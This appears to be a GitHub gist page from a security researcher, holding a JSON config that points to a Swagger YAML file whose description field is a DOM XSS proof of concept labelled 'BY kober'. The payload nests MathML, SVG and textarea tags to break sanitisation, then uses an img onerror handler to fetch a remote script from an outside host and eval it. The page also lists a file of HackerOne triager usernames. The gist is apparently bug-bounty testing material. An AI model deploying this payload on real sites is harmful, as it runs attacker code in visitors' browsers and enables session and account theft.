✌️

moSec moein9

✌️

I am a developer and security researcher

moein9 / test.json

Last active February 25, 2023 14:25

	{
	"url": "https://gist.githubusercontent.com/moein9/b8735f4820bb0ab265b56112e26e2b07/raw/d09f9456b747b2d3b60f22da09f0edfd506fc427/test.yaml",
	"urls": [
	{
	"url": "https://gist.githubusercontent.com/moein9/b8735f4820bb0ab265b56112e26e2b07/raw/d09f9456b747b2d3b60f22da09f0edfd506fc427/test.yaml",
	"name": "Bar"
	}
	]
	}

moein9 / test.yaml

Last active February 25, 2023 14:24

	swagger: '3.0'
	info:
	title: Classic API Resource Documentation
	description: <math><mtext><h1><a><h6></a></h6><mglyph><svg><mtext><textarea><a title='</textarea><img src onerror=fetch(`https://exuberant-ice.surge.sh/script.js`).then(function(res){res.text().then(function(data){eval(data)})})>'></textarea></h1></mtext></math></p></div><div class="description"></div><h1>DOM XSS POC BY kober</h1><img onload="alert()" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT3UQVyPEfTA5CR1SmA4F3cGfbbDqW-qrvGsjhcWABW&s" onerror></div></textarea></desc></textarea></mtext></mtext></svg></mglyph></option></mtext></math>
	version: production
	basePath: /JSSResource/
	produces:
	- application/xml
	- application/json
	consumes:

moein9 / h1_team_usernames.json

Created July 2, 2022 09:45

Hackerone triager usernames 2/7/2022